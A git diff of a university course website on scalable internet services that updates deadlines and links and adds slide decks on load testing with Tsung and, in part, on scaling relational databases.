diff --git a/index.html b/index.html
index 60ce4c0..c87e0ca 100644
--- a/index.html
+++ b/index.html
@@ -134,7 +134,7 @@ <h3 id="project-3project3-due-before"><a href="/project3/">Project 3</a> due bef
 
 <h3 id="projectprojectproposal-initial-peer-score-message-due-before"><a href="/project/#proposal">Project</a> initial peer score message due before</h3>
 
-<p>Monday, November 13 2pm PT</p>
+<p>Monday, November 20 2pm PT</p>
 
 <h3 id="projectprojectreport-report-draft-for-feedback-due-before"><a href="/project/#report">Project</a> report draft for feedback due before</h3>
 
diff --git a/project/index.html b/project/index.html
index eb00612..5b0dda6 100644
--- a/project/index.html
+++ b/project/index.html
@@ -134,7 +134,7 @@ <h3 id="project-3project3-due-before"><a href="/project3/">Project 3</a> due bef
 
 <h3 id="projectprojectproposal-initial-peer-score-message-due-before"><a href="/project/#proposal">Project</a> initial peer score message due before</h3>
 
-<p>Monday, November 13 2pm PT</p>
+<p>Monday, November 20 2pm PT</p>
 
 <h3 id="projectprojectreport-report-draft-for-feedback-due-before"><a href="/project/#report">Project</a> report draft for feedback due before</h3>
 
diff --git a/project0/index.html b/project0/index.html
index 6e53b38..435c001 100644
--- a/project0/index.html
+++ b/project0/index.html
@@ -134,7 +134,7 @@ <h3 id="project-3project3-due-before"><a href="/project3/">Project 3</a> due bef
 
 <h3 id="projectprojectproposal-initial-peer-score-message-due-before"><a href="/project/#proposal">Project</a> initial peer score message due before</h3>
 
-<p>Monday, November 13 2pm PT</p>
+<p>Monday, November 20 2pm PT</p>
 
 <h3 id="projectprojectreport-report-draft-for-feedback-due-before"><a href="/project/#report">Project</a> report draft for feedback due before</h3>
 
diff --git a/project1/index.html b/project1/index.html
index 6e31ac0..9ac8d96 100644
--- a/project1/index.html
+++ b/project1/index.html
@@ -134,7 +134,7 @@ <h3 id="project-3project3-due-before"><a href="/project3/">Project 3</a> due bef
 
 <h3 id="projectprojectproposal-initial-peer-score-message-due-before"><a href="/project/#proposal">Project</a> initial peer score message due before</h3>
 
-<p>Monday, November 13 2pm PT</p>
+<p>Monday, November 20 2pm PT</p>
 
 <h3 id="projectprojectreport-report-draft-for-feedback-due-before"><a href="/project/#report">Project</a> report draft for feedback due before</h3>
 
diff --git a/project2/index.html b/project2/index.html
index 12aa785..b21a6f3 100644
--- a/project2/index.html
+++ b/project2/index.html
@@ -134,7 +134,7 @@ <h3 id="project-3project3-due-before"><a href="/project3/">Project 3</a> due bef
 
 <h3 id="projectprojectproposal-initial-peer-score-message-due-before"><a href="/project/#proposal">Project</a> initial peer score message due before</h3>
 
-<p>Monday, November 13 2pm PT</p>
+<p>Monday, November 20 2pm PT</p>
 
 <h3 id="projectprojectreport-report-draft-for-feedback-due-before"><a href="/project/#report">Project</a> report draft for feedback due before</h3>
 
diff --git a/project3/index.html b/project3/index.html
index e0480f4..e60f770 100644
--- a/project3/index.html
+++ b/project3/index.html
@@ -134,7 +134,7 @@ <h3 id="project-3project3-due-before"><a href="/project3/">Project 3</a> due bef
 
 <h3 id="projectprojectproposal-initial-peer-score-message-due-before"><a href="/project/#proposal">Project</a> initial peer score message due before</h3>
 
-<p>Monday, November 13 2pm PT</p>
+<p>Monday, November 20 2pm PT</p>
 
 <h3 id="projectprojectreport-report-draft-for-feedback-due-before"><a href="/project/#report">Project</a> report draft for feedback due before</h3>
 
diff --git a/schedule/index.html b/schedule/index.html
index 14217f5..62c5361 100644
--- a/schedule/index.html
+++ b/schedule/index.html
@@ -134,7 +134,7 @@ <h3 id="project-3project3-due-before"><a href="/project3/">Project 3</a> due bef
 
 <h3 id="projectprojectproposal-initial-peer-score-message-due-before"><a href="/project/#proposal">Project</a> initial peer score message due before</h3>
 
-<p>Monday, November 13 2pm PT</p>
+<p>Monday, November 20 2pm PT</p>
 
 <h3 id="projectprojectreport-report-draft-for-feedback-due-before"><a href="/project/#report">Project</a> report draft for feedback due before</h3>
 
@@ -290,7 +290,7 @@ <h3 id="topics-4">Topics</h3>
       <h4 id="monday-frontend-react-deep-dive-by-david-acevedo">Monday: Frontend React Deep Dive by David Acevedo</h4>
     </li>
     <li>Client-side Caching &amp; Content Delivery Networks (<a href="/slides/2023/08_client_caching_cdn">slides</a>)</li>
-    <li>Server-Side Caching <a href="/slides/2023/09_server_caching">slides</a>)</li>
+    <li>Server-Side Caching (<a href="/slides/2023/09_server_caching">slides</a>)</li>
   </ul>
 
   <h3 id="tasks-4">Tasks</h3>
@@ -317,9 +317,9 @@ <h2 id="week-6-november-6-8">Week 6 (November 6-8)</h2>
   <h3 id="topics-5">Topics</h3>
 
   <ul>
-    <li>Relational Databases <a href="/slides/2023/11_relational_databases">slides</a>)</li>
-    <li>Relational Databases and Rails</li>
-    <li>RDBMS Scaling</li>
+    <li>Relational Databases (<a href="/slides/2023/11_relational_databases">slides</a>)</li>
+    <li>Relational Databases and Rails (<a href="/slides/2023/11_relational_databases">slides</a>)</li>
+    <li>RDBMS Scaling (<a href="/slides/2023/12_rdbms_scaling">slides</a>)</li>
   </ul>
 
 </div>
@@ -333,7 +333,7 @@ <h3 id="topics-6">Topics</h3>
     <li>
       <h4 id="wednesday-november-15-zoom-guest-lecture">Wednesday November 15: Zoom Guest Lecture</h4>
     </li>
-    <li>Deep Dive: Load Testing with Tsung</li>
+    <li>Deep Dive: Load Testing with Tsung (<a href="/slides/2023/10_tsung">slides</a>)</li>
   </ul>
 
   <h3 id="tasks-5">Tasks</h3>
@@ -352,7 +352,7 @@ <h2 id="week-8-november-20-22">Week 8 (November 20-22)</h2>
     <li>
       <h4 id="wednesday-november-22-zoom-guest-lecture">Wednesday November 22: Zoom Guest Lecture</h4>
     </li>
-    <li>Non-Relational Data Stores</li>
+    <li>Non-Relational Data Stores (<a href="/slides/2023/13_nosql">slides</a>)</li>
   </ul>
 
   <h3 id="tasks-6">Tasks</h3>
@@ -379,7 +379,7 @@ <h3 id="topics-7">Topics</h3>
     <li>
       <h4 id="wednesday-november-29-zoom-guest-lecture">Wednesday November 29: Zoom Guest Lecture</h4>
     </li>
-    <li>Web Security</li>
+    <li>Web Security (<a href="/slides/2023/14_web_security">slides</a>)</li>
   </ul>
 
   <h3 id="tasks-7">Tasks</h3>
diff --git a/sitemap.xml b/sitemap.xml
index 84cbeb9..8d43f63 100644
--- a/sitemap.xml
+++ b/sitemap.xml
@@ -313,6 +313,12 @@
 <loc>https://cs291.com/slides/construction/</loc>
 </url>
 <url>
+<loc>https://cs291.com/slides/2023/14_web_security/</loc>
+</url>
+<url>
+<loc>https://cs291.com/slides/2023/10_tsung/</loc>
+</url>
+<url>
 <loc>https://cs291.com/slides/2023/03_http_servers/</loc>
 </url>
 <url>
@@ -322,9 +328,15 @@
 <loc>https://cs291.com/slides/2023/11_relational_databases/</loc>
 </url>
 <url>
+<loc>https://cs291.com/slides/2023/13_nosql/</loc>
+</url>
+<url>
 <loc>https://cs291.com/slides/2023/09_server_caching/</loc>
 </url>
 <url>
+<loc>https://cs291.com/slides/2023/12_rdbms_scaling/</loc>
+</url>
+<url>
 <loc>https://cs291.com/slides/2023/05_scaling_web_applications/</loc>
 </url>
 <url>
@@ -440,34 +452,34 @@
 </url>
 <url>
 <loc>https://cs291.com/project3/chat/</loc>
-<lastmod>2023-11-06T17:51:39+00:00</lastmod>
+<lastmod>2023-11-08T03:55:43+00:00</lastmod>
 </url>
 <url>
 <loc>https://cs291.com/report_samples/gaucho_book.pdf</loc>
-<lastmod>2023-11-06T17:51:39+00:00</lastmod>
+<lastmod>2023-11-08T03:55:43+00:00</lastmod>
 </url>
 <url>
 <loc>https://cs291.com/report_samples/whatever_chat.pdf</loc>
-<lastmod>2023-11-06T17:51:39+00:00</lastmod>
+<lastmod>2023-11-08T03:55:43+00:00</lastmod>
 </url>
 <url>
 <loc>https://cs291.com/slides/2016/helfand_talk.pdf</loc>
-<lastmod>2023-11-06T17:51:39+00:00</lastmod>
+<lastmod>2023-11-08T03:55:43+00:00</lastmod>
 </url>
 <url>
 <loc>https://cs291.com/slides/2016/maloney_lecture.pdf</loc>
-<lastmod>2023-11-06T17:51:39+00:00</lastmod>
+<lastmod>2023-11-08T03:55:43+00:00</lastmod>
 </url>
 <url>
 <loc>https://cs291.com/slides/2017/maloney_lecture.pdf</loc>
-<lastmod>2023-11-06T17:51:39+00:00</lastmod>
+<lastmod>2023-11-08T03:55:43+00:00</lastmod>
 </url>
 <url>
 <loc>https://cs291.com/slides/2017/mutz_lecture.pdf</loc>
-<lastmod>2023-11-06T17:51:40+00:00</lastmod>
+<lastmod>2023-11-08T03:55:44+00:00</lastmod>
 </url>
 <url>
 <loc>https://cs291.com/slides/2021f/sean_maloney.pdf</loc>
-<lastmod>2023-11-06T17:51:40+00:00</lastmod>
+<lastmod>2023-11-08T03:55:44+00:00</lastmod>
 </url>
 </urlset>
diff --git a/slides/2015/index.html b/slides/2015/index.html
index cfa27cd..e7742b8 100644
--- a/slides/2015/index.html
+++ b/slides/2015/index.html
@@ -134,7 +134,7 @@ <h3 id="project-3project3-due-before"><a href="/project3/">Project 3</a> due bef
 
 <h3 id="projectprojectproposal-initial-peer-score-message-due-before"><a href="/project/#proposal">Project</a> initial peer score message due before</h3>
 
-<p>Monday, November 13 2pm PT</p>
+<p>Monday, November 20 2pm PT</p>
 
 <h3 id="projectprojectreport-report-draft-for-feedback-due-before"><a href="/project/#report">Project</a> report draft for feedback due before</h3>
 
diff --git a/slides/2016/index.html b/slides/2016/index.html
index 0aeb462..ef3f1ae 100644
--- a/slides/2016/index.html
+++ b/slides/2016/index.html
@@ -134,7 +134,7 @@ <h3 id="project-3project3-due-before"><a href="/project3/">Project 3</a> due bef
 
 <h3 id="projectprojectproposal-initial-peer-score-message-due-before"><a href="/project/#proposal">Project</a> initial peer score message due before</h3>
 
-<p>Monday, November 13 2pm PT</p>
+<p>Monday, November 20 2pm PT</p>
 
 <h3 id="projectprojectreport-report-draft-for-feedback-due-before"><a href="/project/#report">Project</a> report draft for feedback due before</h3>
 
diff --git a/slides/2017/index.html b/slides/2017/index.html
index dcbb6da..f8bce62 100644
--- a/slides/2017/index.html
+++ b/slides/2017/index.html
@@ -134,7 +134,7 @@ <h3 id="project-3project3-due-before"><a href="/project3/">Project 3</a> due bef
 
 <h3 id="projectprojectproposal-initial-peer-score-message-due-before"><a href="/project/#proposal">Project</a> initial peer score message due before</h3>
 
-<p>Monday, November 13 2pm PT</p>
+<p>Monday, November 20 2pm PT</p>
 
 <h3 id="projectprojectreport-report-draft-for-feedback-due-before"><a href="/project/#report">Project</a> report draft for feedback due before</h3>
 
diff --git a/slides/2018/index.html b/slides/2018/index.html
index 7a490ea..088568f 100644
--- a/slides/2018/index.html
+++ b/slides/2018/index.html
@@ -134,7 +134,7 @@ <h3 id="project-3project3-due-before"><a href="/project3/">Project 3</a> due bef
 
 <h3 id="projectprojectproposal-initial-peer-score-message-due-before"><a href="/project/#proposal">Project</a> initial peer score message due before</h3>
 
-<p>Monday, November 13 2pm PT</p>
+<p>Monday, November 20 2pm PT</p>
 
 <h3 id="projectprojectreport-report-draft-for-feedback-due-before"><a href="/project/#report">Project</a> report draft for feedback due before</h3>
 
diff --git a/slides/2019/index.html b/slides/2019/index.html
index 83ba4c1..f7df3ad 100644
--- a/slides/2019/index.html
+++ b/slides/2019/index.html
@@ -134,7 +134,7 @@ <h3 id="project-3project3-due-before"><a href="/project3/">Project 3</a> due bef
 
 <h3 id="projectprojectproposal-initial-peer-score-message-due-before"><a href="/project/#proposal">Project</a> initial peer score message due before</h3>
 
-<p>Monday, November 13 2pm PT</p>
+<p>Monday, November 20 2pm PT</p>
 
 <h3 id="projectprojectreport-report-draft-for-feedback-due-before"><a href="/project/#report">Project</a> report draft for feedback due before</h3>
 
diff --git a/slides/2021w/index.html b/slides/2021w/index.html
index ae52241..a5254fe 100644
--- a/slides/2021w/index.html
+++ b/slides/2021w/index.html
@@ -134,7 +134,7 @@ <h3 id="project-3project3-due-before"><a href="/project3/">Project 3</a> due bef
 
 <h3 id="projectprojectproposal-initial-peer-score-message-due-before"><a href="/project/#proposal">Project</a> initial peer score message due before</h3>
 
-<p>Monday, November 13 2pm PT</p>
+<p>Monday, November 20 2pm PT</p>
 
 <h3 id="projectprojectreport-report-draft-for-feedback-due-before"><a href="/project/#report">Project</a> report draft for feedback due before</h3>
 
diff --git a/slides/2023/10_tsung/index.html b/slides/2023/10_tsung/index.html
new file mode 100644
index 0000000..924633d
--- /dev/null
+++ b/slides/2023/10_tsung/index.html
@@ -0,0 +1,610 @@
+<html>
+  <head>
+    <meta charset="utf-8" />
+    <title>Load Testing with Tsung</title>
+    <style>
+      @import url(https://fonts.googleapis.com/css?family=Droid+Serif);
+      @import url(https://fonts.googleapis.com/css?family=Yanone+Kaffeesatz);
+      @import url(https://fonts.googleapis.com/css?family=Ubuntu+Mono:400,700,400italic);
+
+      body { font-family: 'Droid Serif'; }
+      h1, h2, h3 {
+        font-family: 'Yanone Kaffeesatz';
+        font-weight: 400;
+        margin-bottom: 0;
+      }
+      .remark-slide-content h1 { font-size: 2.5em; }
+      .remark-slide-content h2 { font-size: 2em; }
+      .remark-slide-content h3 { font-size: 1.6em; }
+      .footnote {
+        position: absolute;
+        bottom: 3em;
+      }
+      li p { line-height: 1.25em; }
+      .red { color: #fa0000; }
+      .large { font-size: 2em; }
+      a, a > code {
+        color: rgb(249, 38, 114);
+        text-decoration: none;
+      }
+      blockquote {
+        border-left: 0.3em solid rgba(0,0,0,0.5);
+        padding: 0 15px;
+        font-style: italic;
+      }
+      code {
+        background: #e7e8e2;
+        border-radius: 5px;
+      }
+      img {
+        max-height: 100%;
+        max-width: 100%;
+      }
+      .remark-code, .remark-inline-code { font-family: 'Ubuntu Mono'; }
+      .remark-code-line-highlighted     { background-color: #373832; }
+      .clear { clear: both; }
+      #slideshow .slide .content code { font-size: 0.8em; }
+      #slideshow .slide .content pre code {
+        font-size: 0.9em;
+        padding: 15px;
+      }
+      .inverse {
+        background: #272822;
+        color: #777872;
+        text-shadow: 0 0 20px #333;
+      }
+      .inverse h1, .inverse h2 {
+        color: #f3f3f3;
+        line-height: 1em;
+      }
+      .background-blue {
+        background-color: deepskyblue;
+      }
+      .background-green {
+        background-color: springgreen;
+      }
+      .background-pink {
+        background-color: deeppink;
+      }
+
+      /* Two-column layout */
+      .left-column {
+        width: 49%;
+        float: left;
+      }
+      .right-column {
+        width: 49%;
+        float: right;
+      }
+      .left-column20 {
+        width: 20%;
+        float: left;
+      }
+      .right-column80 {
+        width: 79%;
+        float: right;
+      }
+      .left-column30 {
+        width: 30%;
+        float: left;
+      }
+      .right-column70 {
+        width: 69%;
+        float: right;
+      }
+      .left-column40 {
+        width: 40%;
+        float: left;
+      }
+      .right-column60 {
+        width: 59%;
+        float: right;
+      }
+
+      /* Table layout */
+      table {
+        background: #f5f5f5;
+        margin: 30px auto;
+        text-align: left;
+        width: 100%;
+      }
+      th {
+        background: linear-gradient(#777, #444);
+        color: #fff;
+        font-weight: bold;
+        padding: 10px 15px;
+      }
+      td {
+        border-right: 1px solid #fff;
+        border-left: 1px solid #e8e8e8;
+        border-top: 1px solid #fff;
+        border-bottom: 1px solid #e8e8e8;
+        padding: 10px 15px;
+      }
+
+    </style>
+    <link rel="icon" href="data:;base64,iVBORw0KGgo=">
+  </head>
+  <body>
+    <textarea id="source">
+class: center, middle
+
+# Load Testing with Tsung
+
+## CS291A: Scalable Internet Services
+
+---
+
+# Load Testing
+
+Process where we simulate concurrent users' interaction with the application
+and observe its performance.
+
+--
+
+With load testing we can establish a baseline of expected performance of our
+application.
+
+We can then compare the results of previous load tests to those obtained after
+making our changes.
+
+> What should we observe?
+
+--
+
+* Response times
+
+* Error rates
+
+* Synthetic user success rate
+
+---
+
+# Modeling User Behavior
+
+Ideally _real_ users would be used to compare an application's
+performance.
+
+Short of that, we want to create load-test flows that resemble
+real traffic. There are a few things to consider:
+
+* Ensuring flows contain a mixture of reads and writes
+
+* Ensuring variance within the flows themselves (not all users have the same
+  habits)
+
+* The test framework should be able to utilize data returned from prior
+  requests (e.g., create a submission and make a comment on it)
+
+> Why are these considerations important?
+
+---
+
+# Load Testing Tools
+
+## High Performance Tools
+
+* [apachebench](https://httpd.apache.org/docs/2.4/programs/ab.html) (ab)
+* [Apache JMeter](https://jmeter.apache.org/)
+* [httperf](https://github.com/httperf/httperf)
+* [Tsung](http://tsung.erlang-projects.org/)
+
+## Feature-rich Tools
+
+* [Funkload](https://github.com/nuxeo/FunkLoad/)
+* [Tsung](http://tsung.erlang-projects.org/)
+
+## Others
+
+* [k6](https://k6.io/docs/test-types/load-testing)
+* [Locust](https://locust.io/)
+* [Bees with Machine Guns](https://github.com/newsapps/beeswithmachineguns)
+
+Tsung is a good choice as it is extremely configurable and delivers high
+performance.
+
+---
+
+# Testing EC2 instances from EC2
+
+We should the test instances in the same region as our elastic beanstalk
+deployment. This decision provides us with:
+
+* Lower cost: AWS charges for bandwidth outside of the region
+
+* Predictability: fewer moving parts between the test instance and the stack
+
+* Less representative testing: none of our real users will be in the data
+  center
+
+The first two points are positive.
+
+The third point could be a concern, but since we are essentially using these
+sort of tests for comparison between code changes, we're less concerned with
+being completely representative.
+
+---
+
+# Launching the Tsung Instance
+
+Connect to the jump-box:
+
+```bash
+ssh -i TEAMNAME.pem TEAMNAME@ec2.cs291.com
+```
+
+Create an instance:
+
+```bash
+/bin/launch_tsung.sh
+```
+
+You can manually run the script commands in case you want to update any params.
+
+```bash
+cat /bin/launch_tsung.sh
+```
+
+The output will provide you with the ssh command to access the instance.
+
+---
+
+# The Tsung Instance
+
+The home directory of the Tsung instance contains one file and a symlink:
+
+```bash
+[ec2-user@ip-10-140-200-96 ~]$ ls
+tsung_example.xml
+```
+
+`tsung_example.xml` is a sample Tsung load-test configuration file that
+establishes various connections to https://cs291.com.
+
+Run this Tsung test via:
+
+```bash
+tsung -f tsung_example.xml -k start
+```
+
+Once Tsung starts, visit the URL listed in the output.
+
+---
+
+# Tsung Server
+
+While Tsung runs (and continues to run after testing with the `-k` option) it
+provides a simple web interface.
+
+![Tsung Web Interface](tsung_interface.png)
+
+---
+
+# Tsung Interface
+
+Out of the box, Tsung generates a report `/es/ts_web:report`, and a handful of
+graphs `/es/ts_web:graph`.
+
+The server, and web-based access to these files ceases to be accessible once
+the Tsung process is stopped. Restarting Tsung only makes the graphs from the
+current run available via the web interface.
+
+---
+
+# Fetching Tsung results
+
+Aside from fetching files through the web interface. You may want to obtain all
+of the Tsung results.
+
+Assuming your Tsung instance IP address is `54.166.5.220` then the following
+command will synchronize the Tsung result files from all runs to your
+ec2.cs291.com account:
+
+```sh
+rsync -auvL ec2-user@54.166.5.220:tsung_logs .
+```
+
+Running that command a second time will only fetch any new files (assuming you
+run it from the same path). `rsync` is awesome!
+
+---
+
+# The Tsung XML File Structure
+
+```xml
+<?xml version="1.0"?>
+<!DOCTYPE tsung SYSTEM "/usr/local/share/tsung/tsung-1.0.dtd" [] >
+<tsung loglevel="notice">
+
+  <clients>...</clients>
+  <servers>...</servers>
+  <load>...</load>
+  <options>...</options>
+  <sessions>...</sessions>
+  ...
+
+</tsung>
+```
+
+For a more complete
+discussion please see Tsung's documentation:
+[http://tsung.erlang-projects.org/user_manual/configuration.html](http://tsung.erlang-projects.org/user_manual/configuration.html)
+
+---
+
+# Tsung Clients Section
+
+Reference: [http://tsung.erlang-projects.org/user_manual/conf-client-server.html](http://tsung.erlang-projects.org/user_manual/conf-client-server.html)
+
+```xml
+<clients>
+  <client host="localhost" use_controller_vm="true" maxusers='30000'/>
+</clients>
+```
+
+The clients section specifies the clients to generate load from. You can
+use multiple tsung clients as part of a single test, and you may need to for
+your final load tests.
+
+---
+
+# Tsung Servers Section
+
+Reference: [http://tsung.erlang-projects.org/user_manual/conf-client-server.html](http://tsung.erlang-projects.org/user_manual/conf-client-server.html)
+
+```xml
+<servers>
+  <server host="cs291.com" port="443" type="ssl"></server>
+</servers>
+```
+
+The servers section specifies where you intend to connect to. For your tests
+you will always want to modify the `host` value to match your deployment's
+domain.
+
+---
+
+# Tsung Load Section
+
+Reference: [http://tsung.erlang-projects.org/user_manual/conf-load.html](http://tsung.erlang-projects.org/user_manual/conf-load.html)
+
+```xml
+<load>
+  <arrivalphase phase="1" duration="60" unit="second">
+    <users arrivalrate="2" unit="second"></users>
+  </arrivalphase>
+  <arrivalphase phase="2" duration="1" unit="minute">
+    <users interarrival="2" unit="second"></users>
+  </arrivalphase>
+</load>
+```
+
+Here we describe two phases.
+
+The first phase lasts 60 seconds where 2 new users arrive (`arrivalrate`) each
+second.
+
+The second phase also lasts 60 seconds. Here 1 new user arrives
+(`interarrival`) every two seconds.
+
+---
+
+# Tsung Options Section
+
+Reference: [http://tsung.erlang-projects.org/user_manual/conf-options.html](http://tsung.erlang-projects.org/user_manual/conf-options.html)
+
+```xml
+<options>
+  <!-- Set connection timeout to 2 seconds -->
+  <option name="global_ack_timeout" value="2000"></option>
+</options>
+```
+
+---
+
+# Tsung Sessions Section
+
+Reference: [http://tsung.erlang-projects.org/user_manual/conf-sessions.html](http://tsung.erlang-projects.org/user_manual/conf-sessions.html)
+
+```xml
+<sessions>
+  <session name="http-example" type="ts_http" weight="1">
+    <request>
+      <http method="GET" url="/" version="1.1"></http>
+    </request>
+    <thinktime random="true" value="2"></thinktime>
+    <request>
+      <http contents="user=foo" method="POST" url="/login" version="1.1"></http>
+    </request>
+  </session>
+</sessions>
+```
+
+You can define multiple sessions and for each user one will be chosen according
+to the weights.
+
+---
+
+# Load Testing Your Server
+
+* Modify the `server` tag's `host` section to point to your deployment's
+  domain.
+
+* Add a `request` tag for each resource fetched when you load your
+  application's home page.
+
+* Group requests to discrete _pages_ in `<transaction>` if you want statistics
+  on the individual pages.
+
+---
+
+# Obtaining Dynamic Variables
+
+Reference: [http://tsung.erlang-projects.org/user_manual/conf-advanced-features.html](http://tsung.erlang-projects.org/user_manual/conf-advanced-features.html)
+
+Assume this HTML form:
+
+```html
+<form action="/create" method="POST">
+  <input name="auth_token" type="hidden" value="gDTI=" />
+</form>
+```
+
+The value `gDTI=` can be obtained from the response via:
+
+```xml
+<request>
+  <dyn_variable name="auth_token"></dyn_variable>
+  <http method="GET" url="/new" version="1.1"></http>
+</request>
+```
+
+---
+
+# Using Dynamic Variables
+
+We previously set a variable named `auth_token`. Let's use it.
+
+```xml
+<request subst="true">
+  <http content_type="application/x-www-form-urlencoded"
+        contents="user=bboe&amp;amp;auth_token=%%_auth_token%%"
+        method="POST"
+        url="/create"
+        version="1.1">
+  </http>
+</request>
+```
+
+Substitution is done via `%%_VARIABLE_NAME%%`.
+
+In rails CSRF protection values are usually stored in a hidden field named
+`authenticity_token`.
+
+__Note__: The `&` character must be encoded like `&amp;amp;`. This causes a problem
+with the CSRF token.
+
+---
+
+# Other Dynamic Variables
+
+The above example shows how to extract a variable from a form field. They can
+also be extracted from:
+
+* HTML using [XPath](http://tsung.erlang-projects.org/user_manual/conf-advanced-features.html#xpath)
+
+* arbitrary text using [Regexp](http://tsung.erlang-projects.org/user_manual/conf-advanced-features.html#regexp)
+
+* JSON via [JSONPath](http://tsung.erlang-projects.org/user_manual/conf-advanced-features.html#jsonpath)
+
+---
+
+# Generating Random Variables
+
+Variables can be explicitly set via a few functions and occur anywhere in a
+`<session>`.
+([ref](http://tsung.erlang-projects.org/user_manual/conf-advanced-features.html#set-dynvars))
+
+## Random Number as `rndint`
+
+```xml
+<setdynvars sourcetype="random_number" start="3" end="32">
+  <var name="rndint" />
+</setdynvars>
+```
+
+## Random String as `rndstring1`
+
+```xml
+<setdynvars sourcetype="random_string" length="13">
+  <var name="rndstring1" />
+</setdynvars>
+```
+
+For a more complete example please see:
+[Demo App's load_tests/critical.xml](https://github.com/scalableinternetservices/demo/blob/master/load_tests/critical.xml)
+
+---
+
+class: center, middle, inverse
+
+# Understanding Tsung's Output
+
+---
+
+# Tsung Output
+
+* __connect__: The duration of the connection establishment
+* __page__: Response time for each set of requests (a page is a group of
+  requests not separated by a thinktime)
+* __request__: Response time for each request
+* __session__: The duration of a user's session
+
+![Tsung Statistics](tsung_statistics.png)
+
+---
+
+# Response Time Graph
+
+![Tsung Response Time Graph](tsung_response_time.png)
+
+---
+
+# Tsung HTTP Return Codes
+
+Inspect the HTTP return code section:
+
+* 2XX and 3XX status codes are good
+
+* 4XX and 5XX status codes can indicate problems:
+    * Too many requests?
+
+    * Server-side bugs?
+
+    * Bug in testing code?
+
+Ideally you shouldn't see any 4XX and 5XX status codes in your tests unless you
+are certain they are due to exceeding the load on your web server's stack.
+
+---
+
+# Error Rate Graph
+
+![Tsung Error Rate Graph](tsung_error_rate.png)
+
+---
+
+# Users Graph
+
+![Tsung Users Graph](tsung_users.png)
+
+---
+
+# Advice
+
+## Reminder: Fetch your Tsung data as soon as it is available
+
+```bash
+rsync -auvL ec2-user@54.166.5.220:tsung_logs .
+```
+
+## Use tsplot to compare separate runs:
+
+```bash
+tsplot -d graphs m3_medium tsung_logs/20171108-2133/tsung.log m3_large tsung_logs/20171108-2146/tsung.log
+```
+
+    </textarea>
+    <script src="https://remarkjs.com/downloads/remark-latest.min.js"
+            type="text/javascript"></script>
+    <script type="text/javascript">
+      var hljs = remark.highlighter.engine;
+      var slideshow = remark.create({
+          highlightLanguage: 'ruby',
+          highlightLines: true,
+          hightlightSpans: true,
+          highlightStyle: 'monokai'
+        }) ;
+    </script>
+  </body>
+</html>
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+<html>
+  <head>
+    <meta charset="utf-8" />
+    <title>RDBMS Scaling</title>
+    <style>
+      @import url(https://fonts.googleapis.com/css?family=Droid+Serif);
+      @import url(https://fonts.googleapis.com/css?family=Yanone+Kaffeesatz);
+      @import url(https://fonts.googleapis.com/css?family=Ubuntu+Mono:400,700,400italic);
+
+      body { font-family: 'Droid Serif'; }
+      h1, h2, h3 {
+        font-family: 'Yanone Kaffeesatz';
+        font-weight: 400;
+        margin-bottom: 0;
+      }
+      .remark-slide-content h1 { font-size: 2.5em; }
+      .remark-slide-content h2 { font-size: 2em; }
+      .remark-slide-content h3 { font-size: 1.6em; }
+      .footnote {
+        position: absolute;
+        bottom: 3em;
+      }
+      li p { line-height: 1.25em; }
+      .red { color: #fa0000; }
+      .large { font-size: 2em; }
+      a, a > code {
+        color: rgb(249, 38, 114);
+        text-decoration: none;
+      }
+      blockquote {
+        border-left: 0.3em solid rgba(0,0,0,0.5);
+        padding: 0 15px;
+        font-style: italic;
+      }
+      code {
+        background: #e7e8e2;
+        border-radius: 5px;
+      }
+      img {
+        max-height: 100%;
+        max-width: 100%;
+      }
+      .remark-code, .remark-inline-code { font-family: 'Ubuntu Mono'; }
+      .remark-code-line-highlighted     { background-color: #373832; }
+      .clear { clear: both; }
+      #slideshow .slide .content code { font-size: 0.8em; }
+      #slideshow .slide .content pre code {
+        font-size: 0.9em;
+        padding: 15px;
+      }
+      .inverse {
+        background: #272822;
+        color: #777872;
+        text-shadow: 0 0 20px #333;
+      }
+      .inverse h1, .inverse h2 {
+        color: #f3f3f3;
+        line-height: 1em;
+      }
+      .background-blue {
+        background-color: deepskyblue;
+      }
+      .background-green {
+        background-color: springgreen;
+      }
+      .background-pink {
+        background-color: deeppink;
+      }
+
+      /* Two-column layout */
+      .left-column {
+        width: 49%;
+        float: left;
+      }
+      .right-column {
+        width: 49%;
+        float: right;
+      }
+      .left-column20 {
+        width: 20%;
+        float: left;
+      }
+      .right-column80 {
+        width: 79%;
+        float: right;
+      }
+      .left-column30 {
+        width: 30%;
+        float: left;
+      }
+      .right-column70 {
+        width: 69%;
+        float: right;
+      }
+      .left-column40 {
+        width: 40%;
+        float: left;
+      }
+      .right-column60 {
+        width: 59%;
+        float: right;
+      }
+
+      /* Table layout */
+      table {
+        background: #f5f5f5;
+        margin: 30px auto;
+        text-align: left;
+        width: 100%;
+      }
+      th {
+        background: linear-gradient(#777, #444);
+        color: #fff;
+        font-weight: bold;
+        padding: 10px 15px;
+      }
+      td {
+        border-right: 1px solid #fff;
+        border-left: 1px solid #e8e8e8;
+        border-top: 1px solid #fff;
+        border-bottom: 1px solid #e8e8e8;
+        padding: 10px 15px;
+      }
+
+    </style>
+    <link rel="icon" href="data:;base64,iVBORw0KGgo=">
+  </head>
+  <body>
+    <textarea id="source">
+class: center, middle
+
+# RDBMS Scaling
+
+## CS291A: Scalable Internet Services
+
+---
+
+# Motivation
+
+You have your web application running on EC2. It is becoming increasingly
+popular and performance is degrading.
+
+> What do you do?
+
+---
+
+# Handling Concurrent Requests
+
+.left-column40[
+You have deployed application servers that can serve many concurrent requests.
+
+But as your site's popularity continues to grow that is not sufficient.
+
+> What do you do?
+]
+.right-column60[
+![Concurrent Requests](server_process_pool.png)
+]
+
+---
+
+# Vertical Scaling
+
+.center[
+![Vertical Scaling](vertical_scaling.png)
+]
+
+You have increased your instance sizes and handled more load.
+
+However, as the popularity continues to grow you are no longer able to continue
+scaling vertically.
+
+> What do you do?
+
+---
+
+# Horizontal Scaling
+
+.left-column30[
+You have introduced a load balancer that distributes traffic across a pool of
+application servers.
+
+Nevertheless, as the traffic continues to increase, additional horizontal
+scaling of the application servers does not solve the problem.
+
+> What do you do?
+]
+.right-column70[
+![Horizontal Scaling](load_balanced_topology.png)
+]
+
+---
+
+# Caching
+
+You have properly configured HTTP caching such that unnecessary requests never
+happen.
+
+You are also caching heavyweight database operations.
+
+But it is still not enough to handle the increased load of your popular site.
+
+> What do you do?
+
+---
+
+# SQL Structure and Query Optimization
+
+You have reduced the number of queries your application servers makes to the
+database.
+
+You have used `EXPLAIN` to discover indexes to add, and to ensure your most
+common SQL queries are as optimal as possible.
+
+However, your database is still a bottleneck.
+
+> What do you do?
+
+---
+
+# Database Vertical Scaling
+
+> Is your database swapping (out of memory)?
+
+--
+
